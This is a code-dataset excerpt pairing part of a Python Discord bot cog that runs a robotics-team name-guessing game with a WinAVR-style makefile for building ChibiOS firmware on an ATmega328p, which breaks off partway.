await ctx.send( f"The currently set namegame channel is {ctx.guild.get_channel(config.channel_id).mention}.\n" f"To clear this, run `{ctx.prefix}ng config clearsetchannel`") else: if config is None: config = NameGameConfig(guild_id=ctx.guild.id, channel_id=channel.id, mode=SUPPORTED_MODES[0], pings_enabled=False) else: config.channel_id = channel.id await config.update_or_add() await ctx.send(f"Namegame channel set to {channel.mention}!") @config.command() @has_permissions(manage_guild=True) async def clearsetchannel(self, ctx): """Clears the set namegame channel""" query = await NameGameConfig.get_by(guild_id=ctx.guild.id) config = query[0] if len(query) == 1 else None if config is not None: # update_or_add ignores attributes set to None. To set the column to None, we delete the record and insert # a new one with channel set to None. new_namegame_config = NameGameConfig(channel_id=None, guild_id=ctx.guild.id, pings_enabled=config.pings_enabled, mode=config.mode) await NameGameConfig.delete(guild_id=ctx.guild.id) await new_namegame_config.update_or_add() await ctx.send("Namegame channel cleared!") @config.command() @has_permissions(manage_guild=True) async def setpings(self, ctx, enabled: bool): """Sets whether or not pings are enabled""" query = await NameGameConfig.get_by(guild_id=ctx.guild.id) config = query[0] if len(query) == 1 else None if config is None: config = NameGameConfig(guild_id=ctx.guild.id, channel_id=None, mode=SUPPORTED_MODES[0], pings_enabled=int(enabled)) else: config.pings_enabled = int(enabled) await config.update_or_add() await ctx.send(f"Pings enabled set to `{enabled}`!") @config.command() @has_permissions(manage_guild=True) async def leaderboardedit(self, ctx, mode: str, user: discord.User, wins: int): """Edits the leaderboard""" if mode not in SUPPORTED_MODES: await ctx.send( f"Game mode `{mode}` not supported! Please pick a mode that is one of: `{', '.join(SUPPORTED_MODES)}`") return query = await NameGameLeaderboard.get_by(user_id=user.id, game_mode=mode) if not query: await ctx.send("User not on leaderboard!") return record = query[0] record.wins = wins await record.update_or_add() await ctx.send(f"{user.display_name}'s wins now set to: **{wins}**") @config.command() @has_permissions(manage_guild=True) async def leaderboardclear(self, ctx, mode: str): """Clears the leaderboard""" if mode not in SUPPORTED_MODES: await ctx.send( f"Game mode `{mode}` not supported! Please pick a mode that is one of: `{', '.join(SUPPORTED_MODES)}`") return await NameGameLeaderboard.delete(game_mode=mode) await ctx.send(f"Cleared leaderboard for mode {mode}") # TODO: configurable time limits, ping on event, etc # MORE TODO: """ fix %ng help (done) fix %ng startround (done) fix the wrong team dialouge (????) add pings i hate bots make %ng addplayer be rhetorical question (done) figure out these stupid turn issues """ @ng.command() @game_is_running async def unheck(self, ctx): """ Emergency removal of a haywire session. """ game = self.games[ctx.channel.id] game.running = False try: game.vote_task.cancel() except Exception: pass try: game.turn_task.cancel() except Exception: pass self.games.pop(game) @ng.command() async def modes(self, ctx): """Returns a list of supported modes""" await ctx.send(f"Supported game modes: `{', '.join(SUPPORTED_MODES)}`") @ng.command() async def startround(self, ctx, mode: str = None): """ Starts a namegame session. One can select the robotics program by specifying one of "FRC" or "FTC". """ if mode is None or mode.lower() not in SUPPORTED_MODES: config = await NameGameConfig.get_by(guild_id=ctx.guild.id) mode = SUPPORTED_MODES[0] if len(config) == 0 else config[0].mode await ctx.send( f"Unspecified or invalid game mode, assuming game mode `{mode}`. For a full list of game modes, run " f"`{ctx.prefix}ng modes`") pings_enabled = False config_query = await NameGameConfig.get_by(guild_id=ctx.guild.id) if len(config_query) == 0: config = None else: config = config_query[0] if config is not None and config.channel_id is not None and config.channel_id != ctx.channel.id: await ctx.send("Games cannot be started in this channel!") return pings_enabled = (config is not None and config.pings_enabled) if ctx.channel.id in self.games: await ctx.send("A game is currently going on! Wait till the players finish up to start again.") return game = NameGameSession(mode.lower()) game.state_lock = asyncio.Lock(loop=self.bot.loop) game.pings_enabled = pings_enabled game.players[ctx.author] = 0 game.current_player = ctx.author for player in ctx.message.mentions: if player == ctx.author: continue if player.bot: await ctx.send(f"You can't invite bot users like {player.mention}!") continue game.players[player] = 0 await self.send_turn_embed(ctx, game, title=f"{mode.upper()} Name Game", description="A game has been started! The info about the game is as follows:", color=discord.Color.green()) await self.notify(ctx, game, f"{game.current_player.mention}, start us off!") # await ctx.send(f"{game.current_player.mention}, start us off!") self.games[ctx.channel.id] = game game.turn_task = self.bot.loop.create_task(self.game_turn_countdown(ctx, game)) startround.example_usage = """ `{prefix}ng startround frc` - start an FRC namegame session. """ @ng.command() @game_is_running async def addplayer(self, ctx): """Add players to the current game. Only works if the user is currently playing.""" if ctx.channel.id not in self.games: await ctx.send(f"There's not a game going on! Start one with `{ctx.prefix}ng startround`") return game = self.games[ctx.channel.id] async with game.state_lock: added = False players = ctx.message.mentions or [ctx.author] for player in ctx.message.mentions: if player.bot: await ctx.send(f"You can't invite bot users like {player.mention}!") continue if player in game.removed_players: await ctx.send(f"{player.mention} is already out of the game and can't be added back in.") elif player in game.players: await ctx.send(f"{player.mention} is already in the game!") game.players[player] = 0 added = True if not added: return await ctx.send(embed=game.create_embed( title="Players have been added to the game.", description="See below for an updated player list.", color=discord.Color.blurple() )) addplayer.example_usage = """ `{prefix}ng addplayer @user1, @user2` - add user1 and user2 to the game. """ @ng.command() @game_is_running async def pick(self, ctx, team: int, *, name): """Attempt to pick a team in a game.""" game = self.games[ctx.channel.id] async with game.state_lock: if ctx.author != game.current_player: if ctx.author in game.players: await ctx.send( "It's not your turn! You've been given a strike for this behaviour! Don't let it happen again...") await self.strike(ctx, game, ctx.author) else: await ctx.send( f"Let the people playing play! If you want to join, ask one of the people currently playing to " f"run `{ctx.prefix}ng addplayer {ctx.author.display_name}`") return if game.time < 0: await ctx.send("Vote on the current team before picking the next!") return if game.number != 0 and str(game.number) != str(team)[0]: await self.skip_player(ctx, game, ctx.author, "Your team doesn't start with the correct digit! Strike given, moving onto the next player!") return if team in game.picked: await self.skip_player(ctx, game, ctx.author, "That team has already been picked! You have been skipped and given a strike.") return ratio = game.check_name(ctx, team, name) if ratio == -1: # nonexistant team await self.skip_player(ctx, game, ctx.author, f"Team {team} doesn't exist! Strike given, moving onto the next player!") return if ratio > 60: game.picked.append(team) game.number = game.last_team % 10 game.next_turn() game.vote_correct = True game.vote_time = 20 game.vote_player = ctx.author await self.send_turn_embed(ctx, game, title="Team correct!", description=f"Team {team} ({game.last_name}) was {ratio}% correct! Moving " f"onto the next player as follows. Click the red X to override " f"this decision.", color=discord.Color.green(), extra_fields=[("Voting Time", game.vote_time)]) await game.turn_msg.add_reaction('❌') await self.notify(ctx, game, f"{game.current_player.mention}, you're up! Current number: {game.number}") game.vote_msg = game.turn_msg game.vote_embed = game.turn_embed # EXTREMELY INCOMPLETE LOL # (not anymore) else: game.time = -1 game.vote_time = 60 game.vote_player = ctx.author game.vote_correct = False vote_embed = discord.Embed() vote_embed.color = discord.Color.gold() vote_embed.title = "A vote is needed!" vote_embed.description = "A player has made a choice with less than 50% similarity. The details of the " \ "pick are below. Click on the two emoji to vote if this is correct or not. A" \ " 50% majority of players is required to accept it, otherwise the player will " \ "get a strike." vote_embed.add_field(name="Player", value=game.current_player.mention) vote_embed.add_field(name="Team", value=team) vote_embed.add_field(name="Said Name", value=name) vote_embed.add_field(name="Actual Name", value=game.last_name) vote_embed.add_field(name="Similarity", value=f"{ratio}%") vote_embed.add_field(name="Voting Time", value=game.vote_time) game.vote_embed = vote_embed game.vote_msg = await ctx.send(embed=vote_embed) await game.vote_msg.add_reaction('✅') await game.vote_msg.add_reaction('❌') game.vote_task = self.bot.loop.create_task(self.game_vote_countdown(ctx, game)) pick.example_usage = """ `{prefix}ng pick 254 poofy cheeses` - attempt to guess team 254 with a specified name of "poofy cheeses". """ @ng.command() @game_is_running async def drop(self, ctx): """Drops a player from the current game by eliminating them. Once dropped, they can no longer rejoin.""" game = self.games[ctx.channel.id] async with game.state_lock: if ctx.author not in game.players: await ctx.send("You can't leave a game you're not in!") return game.players[ctx.author] = 2 if ctx.author == game.current_player: await self.skip_player(ctx, game, ctx.author) else: await self.strike(ctx, game, ctx.author) if game.running: await self.display_info(ctx, game) drop.example_usage = """ `{prefix}ng drop` - remove the initiator of the command from the current game """ @ng.command() @game_is_running async def skip(self, ctx): """Skips the current player if the player wishes to forfeit their turn.""" game = self.games[ctx.channel.id] async with game.state_lock: if ctx.author != game.current_player: await ctx.send("It's not your turn! Only the current player can skip their turn!") else: await self.skip_player(ctx, game, ctx.author) skip.example_usage = """ `{prefix}ng skip` - skip the current player's turn """ @ng.command() @game_is_running async def gameinfo(self, ctx): """Display info about the currently running game.""" game = self.games[ctx.channel.id] await self.display_info(ctx, game) gameinfo.example_usage = """ `{prefix}ng gameinfo` - display info about the currently running game. """ @ng.command() async def leaderboard(self, ctx, mode: str = None): """Display top numbers of wins for the specified game mode""" if mode is None: config = await NameGameConfig.get_by(guild_id=ctx.guild.id) mode = SUPPORTED_MODES[0] if len(config) == 0 else config[0].mode if mode not in SUPPORTED_MODES: await ctx.send( f"Game mode `{mode}` not supported! Please pick a mode that is one of: `{', '.join(SUPPORTED_MODES)}`") return leaderboard = sorted(await NameGameLeaderboard.get_by(game_mode=mode), key=lambda i: i.wins, reverse=True)[:10] embed = discord.Embed(color=discord.Color.gold(), title=f"{mode.upper()} Name Game Leaderboard") for idx, entry in enumerate(leaderboard, 1): embed.add_field(name=f"#{idx}: {ctx.bot.get_user(entry.user_id).display_name}", value=entry.wins) await ctx.send(embed=embed) leaderboard.example_usage = """ `{prefix}ng leaderboard ftc` - display the namegame winning leaderboards for FTC. """ async def strike(self, ctx, game, player): """Gives a player a strike.""" if game.strike(player): await ctx.send(f"Player {player.mention} is ELIMINATED!") if len(game.players) == 0 or game.turn_count <= 6: await ctx.send("Game disbanded, no winner called!") game.running = False if game.check_win(): # winning condition winner = list(game.players.keys())[0] query = await NameGameLeaderboard.get_by(user_id=winner.id, mode=game.mode) if query: record = query[0] record.wins += 1 else: record = NameGameLeaderboard(user_id=winner.id, wins=1, game_mode=game.mode) await record.update_or_add() win_embed = discord.Embed() win_embed.color = discord.Color.gold() win_embed.title = "We have a winner!" win_embed.add_field(name="Winning Player", value=winner) win_embed.add_field(name="Wins Total", value=record.wins) win_embed.add_field(name="Teams Picked", value=game.get_picked()) await ctx.send(embed=win_embed) game.running = False if not game.running: self.games.pop(ctx.channel.id) async def display_info(self, ctx, game): """Displays info about the current game""" info_embed = discord.Embed(title="Current Game Info", color=discord.Color.blue()) info_embed.add_field(name="Game Type", value=game.mode.upper()) info_embed.add_field( name="Strikes", value="\n".join([f"{player.display_name}: {strikes}" for player, strikes in game.players.items()]) ) info_embed.add_field(name="Current Player", value=game.current_player) info_embed.add_field(name="Current Number", value=game.number or "Wildcard") info_embed.add_field(name="Time Left", value=game.time) info_embed.add_field(name="Teams Picked", value=game.get_picked()) await ctx.send(embed=info_embed) async def skip_player(self, ctx, game, player, msg=None): """Skips a player""" if msg is not None: await ctx.send(msg) game.vote_time = -1 game.next_turn() await self.send_turn_embed(ctx, game, title=f"Player {player.display_name} was skipped and now has {game.players[player]+1} strike(s)!", color=discord.Color.red()) if player != game.current_player: await self.notify(ctx, game, f"{game.current_player.mention}, you're up! Current number: {game.number}") await self.strike(ctx, game, player) # send an embed that starts a new turn async def send_turn_embed(self, ctx, game, **kwargs): """Sends an embed that starts a new turn""" game.turn_embed = game.create_embed(**kwargs) game.turn_msg = await ctx.send(embed=game.turn_embed) async def notify(self, ctx, game, msg): """Notifies people in the channel when it's their turn.""" if game.pings_enabled: await ctx.send(msg) @Cog.listener() async def on_reaction_add(self, reaction, user): """When reactions are added, trigger the voting handler""" if reaction.message.channel.id not in self.games: return game = self.games[reaction.message.channel.id] async with game.state_lock: if game.vote_msg is None or game.vote_time <= 0: return await self._on_reaction(game, reaction, user, 1) # also handle voting logic ctx = await self.bot.get_context(reaction.message) if game.vote_correct: if game.fail_tally > .5 * len(game.players): await ctx.send(f"The decision was overruled! Player {game.vote_player.mention} is given a strike!") await self.strike(ctx, game, game.vote_player) game.vote_time = -1 else: if game.pass_tally >= .5 * len(game.players): game.picked.append(game.last_team) game.number = game.last_team % 10 game.next_turn() await self.send_turn_embed(ctx, game, title="Team correct!", description=f"Team {game.last_team} ({game.last_name}) was correct! " f"Moving onto the next player as follows.", color=discord.Color.green()) await self.notify(ctx, game, f"{game.current_player.mention}, you're up! Current number: {game.number}") game.vote_time = -1 elif game.fail_tally >= .5 * len(game.players): await ctx.send( f"Team {game.last_team} was guessed wrong! Strike given to the responsible player and player is skipped.") await self.skip_player(ctx, game, game.current_player) game.vote_time = -1 @Cog.listener() async def on_reaction_remove(self, reaction, user): """When a reaction is removed, do vote handling""" if reaction.message.channel.id not in self.games: return game = self.games[reaction.message.channel.id] async with game.state_lock: if game.vote_msg is None or game.vote_time <= 0: return await self._on_reaction(game, reaction, user, -1) async def _on_reaction(self, game, reaction, user, inc): """Handles pass/fail reactions""" if reaction.message.id == game.vote_msg.id and user in game.players: if reaction.emoji == '❌': game.fail_tally += inc if reaction.emoji == '✅': game.pass_tally += inc return game @keep_alive async def game_turn_countdown(self, ctx, game): """Counts down the time remaining left in the turn""" await asyncio.sleep(1) async with game.state_lock: if not game.running: return if game.time > 0: game.time -= 1 game.turn_embed.set_field_at(3, name="Time Left", value=game.time) if game.vote_time > 0 and game.vote_correct: game.vote_time -= 1 game.turn_embed.set_field_at(4, name="Voting Time", value=game.vote_time) if game.time % 5 == 0: await game.turn_msg.edit(embed=game.turn_embed) if game.time == 0: await self.skip_player(ctx, game, game.current_player) game.turn_task = self.bot.loop.create_task(self.game_turn_countdown(ctx, game)) @keep_alive async def game_vote_countdown(self, ctx, game): """Counts down the time remaining left to vote""" await asyncio.sleep(1) async with game.state_lock: if not (game.running and not game.vote_correct and game.vote_embed and game.vote_time > 0): return game.vote_time -= 1 game.vote_embed.set_field_at(5, name="Voting Time", value=game.vote_time) if game.vote_time % 5 == 0: await game.vote_msg.edit(embed=game.vote_embed) if game.vote_time == 0: await ctx.send( "The vote did not reach 50% in favor or in failure, so the responsible player is given a strike and skipped.") await self.skip_player(ctx, game, game.current_player) game.vote_task = self.bot.loop.create_task(self.game_vote_countdown(ctx, game)) class NameGameConfig(db.DatabaseTable): """Configuration storage object""" __tablename__ = 'namegame_config' __uniques__ = 'guild_id' @classmethod async def initial_create(cls): """Create the table in the database""" async with db.Pool.acquire() as conn: await conn.execute(f""" CREATE TABLE {cls.__tablename__} ( guild_id bigint PRIMARY KEY NOT NULL, channel_id bigint null, mode varchar NOT NULL, pings_enabled bigint NOT NULL )""") def __init__(self, guild_id, mode, pings_enabled, channel_id=None): super().__init__() self.channel_id = channel_id self.mode = mode self.guild_id = guild_id self.pings_enabled = pings_enabled @classmethod async def get_by(cls, **kwargs): results = await super().get_by(**kwargs) result_list = [] for result in results: obj = NameGameConfig(guild_id=result.get("guild_id"), mode=result.get("mode"), pings_enabled=result.get("pings_enabled"), channel_id=result.get("channel_id")) result_list.append(obj) return result_list class NameGameLeaderboard(db.DatabaseTable): """Leaderboard storage object""" __tablename__ = 'namegame_leaderboard' __uniques__ = 'user_id' @classmethod async def initial_create(cls): """Create the table in the database""" async with db.Pool.acquire() as conn: await conn.execute(f""" CREATE TABLE {cls.__tablename__} ( user_id bigint NOT NULL, wins bigint NOT NULL, game_mode varchar NOT NULL, PRIMARY KEY (user_id, game_mode) )""") def __init__(self, user_id, game_mode, wins): super().__init__() self.game_mode = game_mode self.user_id = user_id self.wins = wins @classmethod async def get_by(cls, **kwargs): results = await super().get_by(**kwargs) result_list = [] for result in results: obj = NameGameLeaderboard(user_id=result.get("user_id"), game_mode=result.get("game_mode"), wins=result.get("wins")) result_list.append(obj) return result_list def setup(bot): """Adds the namegame cog to the bot""" bot.add_cog(NameGame(bot))
FRCDiscord/Dozer
dozer/cogs/namegame.py
Python
gpl-3.0
37,558
# Hey Emacs, this is a -*- makefile -*- #---------------------------------------------------------------------------- # WinAVR Makefile Template written by Eric B. Weddington, Jörg Wunsch, et al. # # Released to the Public Domain # # Additional material for this makefile was written by: # Peter Fleury # Tim Henigan # Colin O'Flynn # Reiner Patommel # Markus Pfaff # Sander Pool # Frederik Rouleau # Carlos Lamas # #---------------------------------------------------------------------------- # On command line: # # make all = Make software. # # make clean = Clean out built project files. # # make coff = Convert ELF to AVR COFF. # # make extcoff = Convert ELF to AVR Extended COFF. # # make program = Download the hex file to the device, using avrdude. # Please customize the avrdude settings below first! # # make debug = Start either simulavr or avarice as specified for debugging, # with avr-gdb or avr-insight as the front end for debugging. # # make filename.s = Just compile filename.c into the assembler code only. # # make filename.i = Create a preprocessed source file for use in submitting # bug reports to the GCC project. # # To rebuild project do "make clean" then "make all". #---------------------------------------------------------------------------- # Configuration of Smart Build. (can be yes, no) USE_SMART_BUILD = yes # MCU name MCU = atmega328p # Processor frequency. F_CPU = 16000000 # Output format. (can be srec, ihex, binary) FORMAT = ihex # Target file name (without extension). TARGET = ch # Object files directory # To put object files in current directory, use a dot (.), do NOT make # this an empty or blank macro! OBJDIR = . # Imported source files CHIBIOS = ../../.. include $(CHIBIOS)/os/hal/hal.mk include $(CHIBIOS)/os/hal/boards/ARDUINO_UNO/board.mk include $(CHIBIOS)/os/hal/ports/AVR/MEGA/platform.mk include $(CHIBIOS)/os/hal/osal/rt/osal.mk include $(CHIBIOS)/os/rt/rt.mk include $(CHIBIOS)/os/common/ports/AVR/compilers/GCC/mk/port.mk include $(CHIBIOS)/os/hal/lib/streams/streams.mk # List C source files here. (C dependencies are automatically generated.) SRC = $(KERNSRC) \ $(PORTSRC) \ $(OSALSRC) \ $(HALSRC) \ $(PLATFORMSRC) \ $(BOARDSRC) \ $(STREAMSSRC) \ $(CHIBIOS)/os/various/evtimer.c \ main.c # List C++ source files here. (C dependencies are automatically generated.) CPPSRC = # List Assembler source files here. # Make them always end in a capital .S. Files ending in a lowercase .s # will not be considered source files but generated files (assembler # output from the compiler), and will be deleted upon "make clean"! # Even though the DOS/Win* filesystem matches both .s and .S the same, # it will preserve the spelling of the filenames, and gcc itself does # care about how the name is spelled on its command-line. ASRC = # Optimization level, can be [0, 1, 2, 3, s]. # 0 = turn off optimization. s = optimize for size. # (Note: 3 is not always the best optimization level. See avr-libc FAQ.) OPT = 2 # Debugging format. # Native formats for AVR-GCC's -g are dwarf-2 [default] or stabs. # AVR Studio 4.10 requires dwarf-2. # AVR [Extended] COFF format requires stabs, plus an avr-objcopy run. DEBUG = dwarf-2 # List any extra directories to look for include files here. # Each directory must be seperated by a space. # Use forward slashes for directory separators. # For a directory that has spaces, enclose it in quotes. EXTRAINCDIRS = $(CHIBIOS)/os/license $(PORTINC) $(KERNINC) $(TESTINC) \ $(HALINC) $(OSALINC) $(PLATFORMINC) \ $(STREAMSINC) $(BOARDINC) $(CHIBIOS)/os/various # Compiler flag to set the C Standard level. # c89 = "ANSI" C # gnu89 = c89 plus GCC extensions # c99 = ISO C99 standard (not yet fully implemented) # gnu99 = c99 plus GCC extensions CSTANDARD = -std=gnu11 # Place -D or -U options here for C sources CDEFS = -DF_CPU=$(F_CPU)UL # Place -D or -U options here for ASM sources ADEFS = -DF_CPU=$(F_CPU) # Place -D or -U options here for C++ sources CPPDEFS = -DF_CPU=$(F_CPU)UL #CPPDEFS += -D__STDC_LIMIT_MACROS #CPPDEFS += -D__STDC_CONSTANT_MACROS #---------------- Compiler Options C ---------------- # -g*: generate debugging information # -O*: optimization level # -f...: tuning, see GCC manual and avr-libc documentation # -Wall...: warning level # -Wa,...: tell GCC to pass this to the assembler. # -adhlns...: create assembler listing CFLAGS = -g$(DEBUG) CFLAGS += $(CDEFS) CFLAGS += -O$(OPT) CFLAGS += -funsigned-char CFLAGS += -funsigned-bitfields CFLAGS += -fpack-struct CFLAGS += -fshort-enums #CFLAGS += -fno-strict-aliasing CFLAGS += -Wall CFLAGS += -Wstrict-prototypes #CFLAGS += -mshort-calls #CFLAGS += -fno-unit-at-a-time #CFLAGS += -Wundef #CFLAGS += -Wunreachable-code #CFLAGS += -Wsign-compare CFLAGS += -Wa,-adhlns=$(<:%.c=$(OBJDIR)/%.lst) CFLAGS += $(patsubst %,-I%,$(EXTRAINCDIRS)) CFLAGS += $(CSTANDARD) CFLAGS += -mrelax CFLAGS += -fdata-sections CFLAGS += -ffunction-sections #---------------- Compiler Options C++ ---------------- # -g*: generate debugging information # -O*: optimization level # -f...: tuning, see GCC manual and avr-libc documentation # -Wall...: warning level # -Wa,...: tell GCC to pass this to the assembler. # -adhlns...: create assembler listing CPPFLAGS = -g$(DEBUG) CPPFLAGS += $(CPPDEFS) CPPFLAGS += -O$(OPT) CPPFLAGS += -funsigned-char CPPFLAGS += -funsigned-bitfields CPPFLAGS += -fpack-struct CPPFLAGS += -fshort-enums CPPFLAGS += -fno-exceptions CPPFLAGS += -Wall CFLAGS += -Wundef #CPPFLAGS += -mshort-calls #CPPFLAGS += -fno-unit-at-a-time #CPPFLAGS += -Wstrict-prototypes #CPPFLAGS += -Wunreachable-code #CPPFLAGS += -Wsign-compare CPPFLAGS += -Wa,-adhlns=$(<:%.cpp=$(OBJDIR)/%.lst) CPPFLAGS += $(patsubst %,-I%,$(EXTRAINCDIRS)) #CPPFLAGS += $(CSTANDARD) CPPFLAGS += -fdata-sections CPPFLAGS += -ffunction-sections #---------------- Assembler Options ---------------- # -Wa,...: tell GCC to pass this to the assembler. # -adhlns: create listing # -gstabs: have the assembler create line number information; note that # for use in COFF files, additional information about filenames # and function names needs to be present in the assembler source # files -- see avr-libc docs [FIXME: not yet described there] # -listing-cont-lines: Sets the maximum number of continuation lines of hex # dump that will be displayed for a given single line of source input. ASFLAGS = $(ADEFS) -Wa,-adhlns=$(<:%.S=$(OBJDIR)/%.lst),-gstabs,--listing-cont-lines=100 #---------------- Library Options ---------------- # Minimalistic printf version PRINTF_LIB_MIN = -Wl,-u,vfprintf -lprintf_min # Floating point printf version (requires MATH_LIB = -lm below) PRINTF_LIB_FLOAT = -Wl,-u,vfprintf -lprintf_flt # If this is left blank, then it will use the Standard printf version. PRINTF_LIB = $(PRINTF_LIB_MIN) #PRINTF_LIB = $(PRINTF_LIB_MIN) #PRINTF_LIB = $(PRINTF_LIB_FLOAT) # Minimalistic scanf version SCANF_LIB_MIN = -Wl,-u,vfscanf -lscanf_min # Floating point + %[ scanf version (requires MATH_LIB = -lm below) SCANF_LIB_FLOAT = -Wl,-u,vfscanf -lscanf_flt # If this is left blank, then it will use the Standard scanf version. SCANF_LIB = $(SCANF_LIB_MIN) #SCANF_LIB = $(SCANF_LIB_MIN) #SCANF_LIB = $(SCANF_LIB_FLOAT) MATH_LIB = -lm # List any extra directories to look for libraries here. # Each directory must be seperated by a space. # Use forward slashes for directory separators. # For a directory that has spaces, enclose it in quotes. EXTRALIBDIRS = #---------------- External Memory Options ---------------- # 64 KB of external RAM, starting after internal RAM (ATmega128!), # used for variables (.data/.bss) and heap (malloc()). #EXTMEMOPTS = -Wl,-Tdata=0x801100,--defsym=__heap_end=0x80ffff # 64 KB of external RAM, starting after internal RAM (ATmega128!), # only used for heap (malloc()). #EXTMEMOPTS = -Wl,--section-start,.data=0x801100,--defsym=__heap_end=0x80ffff EXTMEMOPTS = #---------------- Linker Options ---------------- # -Wl,...: tell GCC to pass this to linker. # -Map: create map file # --cref: add cross reference to map file LDFLAGS = -Wl,-Map=$(TARGET).map,--cref,--gc-sections LDFLAGS += $(EXTMEMOPTS) LDFLAGS += $(patsubst %,-L%,$(EXTRALIBDIRS)) LDFLAGS += $(PRINTF_LIB) $(SCANF_LIB) $(MATH_LIB) #LDFLAGS += -T linker_script.x #---------------- Programming Options (avrdude) ---------------- # Programming hardware: alf avr910 avrisp bascom bsd # dt006 pavr picoweb pony-stk200 sp12 stk200 stk500 # # Type: avrdude -c ? # to get a full listing. # AVRDUDE_PROGRAMMER = arduino # com1 = serial port. Use lpt1 to connect to parallel port. AVRDUDE_PORT = /dev/ttyACM0 AVRDUDE_WRITE_FLASH = -D -U flash:w:$(TARGET).hex #AVRDUDE_WRITE_EEPROM = -U eeprom:w:$(TARGET).eep # Uncomment the following if you want avrdude's erase cycle counter. # Note that this counter needs to be initialized first using -Yn, # see avrdude manual. AVRDUDE_ERASE_COUNTER = -y # Uncomment the following if you do /not/ wish a verification to be # performed after programming the device. #AVRDUDE_NO_VERIFY = -V # Increase verbosity level. Please use this when submitting bug # reports about avrdude. See <http://savannah.nongnu.org/projects/avrdude> # to submit bug reports. AVRDUDE_VERBOSE = -v -v AVRDUDE_FLAGS = -p $(MCU) AVRDUDE_FLAGS += -P $(AVRDUDE_PORT) AVRDUDE_FLAGS += -b 115200 AVRDUDE_FLAGS += -c $(AVRDUDE_PROGRAMMER) AVRDUDE_FLAGS += $(AVRDUDE_NO_VERIFY) AVRDUDE_FLAGS += -v $(AVRDUDE_VERBOSE) AVRDUDE_FLAGS += $(AVRDUDE_ERASE_COUNTER) #---------------- Debugging Options ---------------- # For simulavr only - target MCU frequency. DEBUG_MFREQ = $(F_CPU) # Set the DEBUG_UI to either gdb or insight. # DEBUG_UI = gdb DEBUG_UI = insight # Set the debugging back-end to either avarice, simulavr. DEBUG_BACKEND = avarice #DEBUG_BACKEND = simulavr # GDB Init Filename. GDBINIT_FILE = __avr_gdbinit # When using avarice settings for the JTAG JTAG_DEV = /dev/com1 # Debugging port used to communicate between GDB / avarice / simulavr. DEBUG_PORT = 4242 # Debugging host used to communicate between GDB / avarice / simulavr, normally # just set to localhost unless doing some sort of crazy debugging when # avarice is running on a different computer. DEBUG_HOST = localhost #============================================================================ # Define programs and commands. SHELL = sh CC = avr-gcc OBJCOPY = avr-objcopy OBJDUMP = avr-objdump SIZE = avr-size AR = avr-ar rcs NM = avr-nm AVRDUDE = avrdude REMOVE = rm -f REMOVEDIR = rm -rf COPY = cp WINSHELL = cmd # Define Messages # English MSG_ERRORS_NONE = Errors: none MSG_BEGIN = -------- begin -------- MSG_END = -------- end -------- MSG_SIZE_BEFORE = Size before: MSG_SIZE_AFTER = Size after: MSG_COFF = Converting to AVR COFF: MSG_EXTENDED_COFF = Converting to AVR Extended COFF: MSG_FLASH = Creating load file for Flash: MSG_EEPROM = Creating load file for EEPROM: MSG_EXTENDED_LISTING = Creating Extended Listing: MSG_SYMBOL_TABLE = Creating Symbol Table: MSG_LINKING = Linking: MSG_COMPILING = Compiling C: MSG_COMPILING_CPP = Compiling C++: MSG_ASSEMBLING = Assembling: MSG_CLEANING = Cleaning project: MSG_CREATING_LIBRARY = Creating library: # Define all object files. OBJ = $(SRC:%.c=$(OBJDIR)/%.o) $(CPPSRC:%.cpp=$(OBJDIR)/%.o) $(ASRC:%.S=$(OBJDIR)/%.o) # Define all listing files. LST = $(SRC:%.c=$(OBJDIR)/%.lst) $(CPPSRC:%.cpp=$(OBJDIR)/%.lst) $(ASRC:%.S=$(OBJDIR)/%.lst) # Compiler flags to generate dependency files. GENDEPFLAGS = -MMD -MP -MF .dep/$(@F).d # Combine all necessary flags and optional flags. # Add target processor to flags. ALL_CFLAGS = -mmcu=$(MCU) -I. $(CFLAGS) $(GENDEPFLAGS) ALL_CPPFLAGS = -mmcu=$(MCU) -I. -x c++ $(CPPFLAGS) $(GENDEPFLAGS) ALL_ASFLAGS = -mmcu=$(MCU) -I. -x assembler-with-cpp $(ASFLAGS) # Default target. all: begin gccversion sizebefore build sizeafter end # Change the build target to build a HEX file or a library. build: elf hex bin eep lss sym #build: lib elf: $(TARGET).elf hex: $(TARGET).hex bin: $(TARGET).bin eep: $(TARGET).eep lss: $(TARGET).lss sym: $(TARGET).sym LIBNAME=lib$(TARGET).a lib: $(LIBNAME) # Eye candy. # AVR Studio 3.x does not check make's exit code but relies on # the following magic strings to be generated by the compile job. begin: @echo @echo $(MSG_BEGIN) end: @echo $(MSG_END) @echo # Display size of file. HEXSIZE = $(SIZE) --target=$(FORMAT) $(TARGET).hex ELFSIZE = $(SIZE) --mcu=$(MCU) --format=avr $(TARGET).elf sizebefore: @if test -f $(TARGET).elf; then echo; echo $(MSG_SIZE_BEFORE); $(ELFSIZE); \ 2>/dev/null; echo; fi sizeafter: @if test -f $(TARGET).elf; then echo; echo $(MSG_SIZE_AFTER); $(ELFSIZE); \ 2>/dev/null; echo; fi # Display compiler version information. gccversion : @$(CC) --version # Program the device. program: $(TARGET).hex $(TARGET).eep $(AVRDUDE) $(AVRDUDE_FLAGS) $(AVRDUDE_WRITE_FLASH) $(AVRDUDE_WRITE_EEPROM) # Generate avr-gdb config/init file which does the following: # define the reset signal, load the target file, connect to target, and set # a breakpoint at main(). gdb-config: @$(REMOVE) $(GDBINIT_FILE) @echo define reset >> $(GDBINIT_FILE) @echo SIGNAL SIGHUP >> $(GDBINIT_FILE) @echo end >> $(GDBINIT_FILE) @echo file $(TARGET).elf >> $(GDBINIT_FILE) @echo target remote $(DEBUG_HOST):$(DEBUG_PORT) >> $(GDBINIT_FILE) ifeq ($(DEBUG_BACKEND),simulavr) @echo load >> $(GDBINIT_FILE) endif @echo break main >> $(GDBINIT_FILE) debug: gdb-config $(TARGET).elf ifeq ($(DEBUG_BACKEND), avarice) @echo Starting AVaRICE - Press enter when "waiting to connect" message displays. @$(WINSHELL) /c start avarice --jtag $(JTAG_DEV) --erase --program --file \ $(TARGET).elf $(DEBUG_HOST):$(DEBUG_PORT) @$(WINSHELL) /c pause else @$(WINSHELL) /c start simulavr --gdbserver --device $(MCU) --clock-freq \ $(DEBUG_MFREQ) --port $(DEBUG_PORT) endif @$(WINSHELL) /c start avr-$(DEBUG_UI) --command=$(GDBINIT_FILE) # Convert ELF to COFF for use in debugging / simulating in AVR Studio or VMLAB. COFFCONVERT = $(OBJCOPY) --debugging COFFCONVERT += --change-section-address .data-0x800000 COFFCONVERT += --change-section-address .bss-0x800000 COFFCONVERT += --change-section-address .noinit-0x800000 COFFCONVERT += --change-section-address .eeprom-0x810000 coff: $(TARGET).elf @echo @echo $(MSG_COFF) $(TARGET).cof 